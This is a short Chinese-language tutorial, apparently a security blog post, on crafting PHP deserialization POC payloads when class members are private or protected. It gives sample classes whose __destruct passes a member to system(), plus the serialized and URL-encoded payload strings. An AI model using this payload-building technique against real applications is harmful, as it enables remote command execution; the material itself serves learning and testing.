php反序列化如何同时处理private和protected类型的变量
public
通常遇到的反序列化里所有类的成员都是public
例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php class Test { public $command;
function vuln($payload) { system($payload); }
function __destruct(){ $this->vuln($this->command); } }
$a = new Test(); $a->command = 'echo "test"'; echo serialize($a); echo urlencode(serialize($a)); ?>
|
这是一个非常简单的poc案例,假如实例的反序列化代码的成员类型是private或protected,这个代码就会失效
private
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class Test { private $command = 'echo "test"';
function vuln($payload) { system($payload); }
function __destruct(){ $this->vuln($this->command); } }
$a = new Test(); echo serialize($a); echo urlencode(serialize($a)); ?>
|
比较
1 2 3 4 5 6 7
| public代码的结果: O:4:"Test":1:{s:7:"command";s:11:"echo "test"";} O%3A4%3A%22Test%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A11%3A%22echo+%22test%22%22%3B%7Dtest
private代码的结果: O:4:"Test":1:{s:13:"Testcommand";s:11:"echo "test"";} O%3A4%3A%22Test%22%3A1%3A%7Bs%3A13%3A%22%00Test%00command%22%3Bs%3A11%3A%22echo+%22test%22%22%3B%7Dtest
|
一眼能看到,这两串序列的区别是command成员的变量名以什么形式序列化,通过观察url编码可以看出:
- public变量以command来序列化
- private变量以%00Test%00command的形式序列化
protected
基本同上
3. protected变量以%00*%00command的形式序列化
遇到的问题和通解
成员类型决定我们能修改变量值的方式
可以通过
- $a->command = ‘echo “test”‘;
- private $command = ‘echo “test”‘;
的方式修改
但如果一个类要在统一用多次,而其成员的类型是private且要赋不同的值
那么可以在poc里写专门的成员函数来更改成员变量的值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php class Test { private $command;
function vuln($payload) { system($payload); } function setCommand($payload){ $this->command=$payload; }
function __destruct(){ $this->vuln($this->command); } }
$a = new Test(); $a->setCommand("echo 'test'"); echo serialize($a); echo urlencode(serialize($a)); ?>
|
参考
https://xz.aliyun.com/t/6454?time__1311=n4%2BxnD0Dg70%3DG%3DoeGN3ExmxWuxGwSgx%2B7%2BiD#toc-1